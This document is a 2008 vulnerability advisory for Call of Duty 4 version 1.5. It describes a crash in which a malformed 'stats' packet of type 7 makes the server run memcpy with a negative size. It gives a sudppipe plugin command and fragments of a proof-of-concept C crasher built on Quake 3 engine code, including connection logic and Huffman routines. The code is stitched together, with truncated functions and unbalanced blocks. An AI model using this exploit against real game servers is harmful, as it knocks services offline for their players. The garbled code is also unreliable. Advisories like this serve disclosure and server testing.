Call of Duty 4 (CoD4) is "the most recent and played game of the homonym series created by Infinity Ward with over 15000 internet servers". A vulnerability in the CoD game allows remote attackers to cause the game to crash by sending it malform data.
Vulnerable Systems:
* Call of Duty 4: Modern Warfare version 1.5
In CoD4 has been introduced a new type of connectionless command (like getinfo, getstatus, connect and so on) called "stats" that seems related to player statistics and can be of 6 types which are sent by the client in sequential order just after having joined the remote game.
Exists an additional type (7) which is accepted by the server and if a client uses it the remote server will crash due to a memcpy() with a negative size value (the attacker has no control over the source data and this value).
The stats packet requires that the client is in the server since the qport value specified in it and both IP and port must match those used by the player, so the attacker must know the password if the server is protected, being not banned and moreover having a valid cdkey if the internet server requires it.
Usage example: sudppipe -l cod4statz_sudp.dll SERVER PORT 20000
then from the CoD4 client type: connect 127.0.0.1:20000
The plugin does a very simple job, when a "stats" packet is received it places the 0x07 byte at offset 12.
- stand-alone proof-of-concept which works versus servers without authorization (like LAN servers) for quickly testing the own servers without the need of using a CoD4 client:
/*
Copyright 2008 Luigi Auriemma - http://aluigi.org/poc/cod4statz.zip
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
#define VER "0.1"
#define BUFFSZ 8192
#define PORT 28960
#define MORESZ 1100
#define INFO "\xff\xff\xff\xff" "getinfo xxx\n"
#define GETCH "\xff\xff\xff\xff" "getchallenge\n"
typedef struct {
int protocol;
int punkbuster;
int punkbuster2;
int password;
int compression;
int snaps;
int rate;
int internet;
u8 *cdkey;
u8 *mod;
u8 *guid;
u8 *pbguid;
} client_t;
void activate_q3unban(u8 *more);
u8 *correct_user_parameters(u8 *mod);
#define scpy(a,b) sprintf(a, "%.*s", sizeof(a) - 1, b);
void q3info(struct sockaddr_in *peer, client_t *client);
u8 *show_print_msg(u8 *data);
int get_new_parameters(u8 *data, u8 *more, int *snaps, int *rate);
void fgetz(u8 *buff, int size, FILE *fd);
int sendrecv(int sd, struct sockaddr_in *peer, u8 *in, int insz, u8 *out, int outsz);
int build_connect(u8 *buff, u8 *pb2, ...);
int handle_info(u8 *data, int datalen, int nt, int chr, int front, int rear, ...);
int rnds(u8 *data, int len, u32 *seed);
void rndh(u8 *data, int len, u32 *seed, int ccase);
int timeout(int sock);
u32 resolv(char *host);
void std_err(void);
if(strstr(p4, "AUTH")) {
printf("\n"
"Error: %s\n"
"This error means you must send your CDKEY to the authorization server of the\n"
"game running on the remote server.\n"
"This tool is based only on the authorization protocol of Quake 3\n"
"Retry again for some times and then if you are testing a Quake 3 server, try\n"
"using the -i flag\n"
"\n", show_print_msg(p4));
exit(1);
} else if(!stristr(p4, "challengeResponse")) {
printf("\n"
"Error: %s\n"
"An error at this point means that you cannot join the server due to\n"
"authorization problems\n"
"This proof-of-concept doesn't implement the cdkey handling instructions so use\n"
"the cod4statz_sudp plugin for sudppipe available in the Proof-of-Concept\n"
"section of my website for testing your internet server\n"
"\n", show_print_msg(p4));
exit(1);
}
} else if(!stristr(p4, "connectResponse")) {
printf("\n- %s\n", show_print_msg(p4));
if(stristr(p4, "protocol")) {
if(client.compression) {
printf("This error means you must disable compression (-c flag)\n");
} else {
printf("This error means you must enable compression (do not use the -c flag)\n");
}
exit(1);
}
for(i = 20; i >= 0; i--) {
len = sendrecv(sd, &peer, NULL, 0, buff, BUFFSZ);
if(len < 0) break;
}
if(i < 0) {
printf("\n"
"Error: the server continues to send packets, it could be patched or the stats\n"
" packet has not been accepted. in this case try to relaunch this tool\n"
" now and if fails retry within some minutes\n");
} else {
printf("\n- the server should be down, check it manually or relaunch this tool\n");
}
close(sd);
break;
}
close(sd);
}
int handle_info(u8 *data, int datalen, int nt, int chr, int front, int rear, ...) {
va_list ap;
int i,
args,
found;
u8 **parz,
***valz,
*p,
*limit,
*par,
*val;
ALL the code from the public GPL source code of the Quake 3 engine 1.32
some modifications by Luigi Auriemma
e-mail: aluigi@autistici.org
web: aluigi.org
*/
/*
-==========================================
Copyright (C) 1999-2005 Id Software, Inc.
This file is part of Quake III Arena source code.
Quake III Arena source code is free software; you can redistribute it
and/or modify it under the terms of the GNU General Public License as
published by the Free Software Foundation; either version 2 of the License,
or (at your option) any later version.
Quake III Arena source code is distributed in the hope that it will be
useful, but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with Foobar; if not, write to the Free Software
Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
-=========================================
*/
/* This is based on the Adaptive Huffman algorithm described in Sayood's Data
* Compression book. The ranks are not actually stored, but implicitly defined
* by the location of a node within a doubly-linked list */
void Huff_putBit( int bit, byte *fout, int *offset) {
bloc = *offset;
if ((bloc&7) == 0) {
fout[(bloc>>3)] = 0;
}
fout[(bloc>>3)] |= bit << (bloc&7);
bloc++;
*offset = bloc;
}
int Huff_getBit( byte *fin, int *offset) {
int t;
bloc = *offset;
t = (fin[(bloc>>3)] >> (bloc&7)) & 0x1;
bloc++;
*offset = bloc;
return t;
}
/* Add a bit to the output file (buffered) */
static void add_bit (char bit, byte *fout) {
if ((bloc&7) == 0) {
fout[(bloc>>3)] = 0;
}
fout[(bloc>>3)] |= bit << (bloc&7);
bloc++;
}
/* Receive one bit from the input file (buffered) */
static int get_bit (byte *fin) {
int t;
t = (fin[(bloc>>3)] >> (bloc&7)) & 0x1;
bloc++;
return t;
}
void Huff_addRef(huff_t* huff, byte ch) {
node_t *tnode, *tnode2;
if (huff->loc[ch] == NULL) { /* if this is the first transmission of this node */
tnode = &(huff->nodeList[huff->blocNode++]);
tnode2 = &(huff->nodeList[huff->blocNode++]);
tnode->symbol = ch;
tnode->weight = 1;
tnode->next = huff->lhead->next;
if (huff->lhead->next) {
huff->lhead->next->prev = tnode;
if (huff->lhead->next->weight == 1) {
tnode->head = huff->lhead->next->head;
} else {
/* this should never happen */
tnode->head = get_ppnode(huff);
*tnode->head = tnode2;
}
} else {
/* this should never happen */
tnode->head = get_ppnode(huff);
*tnode->head = tnode;
}
huff->lhead->next = tnode;
tnode->prev = huff->lhead;
tnode->left = tnode->right = NULL;
if (huff->lhead->parent) {
if (huff->lhead->parent->left == huff->lhead) { /* lhead is guaranteed to by the NYT */
huff->lhead->parent->left = tnode2;
} else {
huff->lhead->parent->right = tnode2;
}
} else {
huff->tree = tnode2;
}
/* Get a symbol */
int Huff_Receive (node_t *node, int *ch, byte *fin) {
while (node && node->symbol == INTERNAL_NODE) {
if (get_bit(fin)) {
node = node->right;
} else {
node = node->left;
}
}
if (!node) {
return 0;
// Com_Error(ERR_DROP, "Illegal tree!\n");
}
return (*ch = node->symbol);
}
/* Get a symbol */
void Huff_offsetReceive (node_t *node, int *ch, byte *fin, int *offset) {
bloc = *offset;
while (node && node->symbol == INTERNAL_NODE) {
if (get_bit(fin)) {
node = node->right;
} else {
node = node->left;
}
}
if (!node) {
*ch = 0;
return;
// Com_Error(ERR_DROP, "Illegal tree!\n");
}
*ch = node->symbol;
*offset = bloc;
}
/* Send the prefix code for this node */
static void send_huff(node_t *node, node_t *child, byte *fout) {
if (node->parent) {
send_huff(node->parent, node, fout);
}
if (child) {
if (node->right == child) {
add_bit(1, fout);
} else {
add_bit(0, fout);
}
}
}
/* Send a symbol */
void Huff_transmit (huff_t *huff, int ch, byte *fout) {
int i;
if (huff->loc[ch] == NULL) {
/* node_t hasn't been transmitted, send a NYT, then the symbol */
Huff_transmit(huff, NYT, fout);
for (i = 7; i >= 0; i--) {
add_bit((char)((ch >> i) & 0x1), fout);
}
} else {
send_huff(huff->loc[ch], NULL, fout);
}
}
int Huff_DecompressPacket( unsigned char *msg, int offset, int cursize, int maxsize ) {
int ch, cch, i, j, size;
byte seq[65536];
byte* buffer;
huff_t huff;
size = cursize - offset;
buffer = msg + offset;
if ( size <= 0 ) {
return(cursize);
}
Com_Memset(&huff, 0, sizeof(huff_t));
// Initialize the tree & list with the NYT node
huff.tree = huff.lhead = huff.ltail = huff.loc[NYT] = &(huff.nodeList[huff.blocNode++]);
huff.tree->symbol = NYT;
huff.tree->weight = 0;
huff.lhead->next = huff.lhead->prev = NULL;
huff.tree->parent = huff.tree->left = huff.tree->right = NULL;
cch = buffer[0]*256 + buffer[1];
// don't overflow with bad messages
if ( cch > maxsize - offset ) {
cch = maxsize - offset;
}
bloc = 16;
for ( j = 0; j < cch; j++ ) {
ch = 0;
// don't overflow reading from the messages
// FIXME: would it be better to have a overflow check in get_bit ?
if ( (bloc >> 3) > size ) {
seq[j] = 0;
break;
}
Huff_Receive(huff.tree, &ch, buffer); /* Get a character */
if ( ch == NYT ) { /* We got a NYT, get the symbol associated with it */
ch = 0;
for ( i = 0; i < 8; i++ ) {
ch = (ch<<1) + get_bit(buffer);
}
}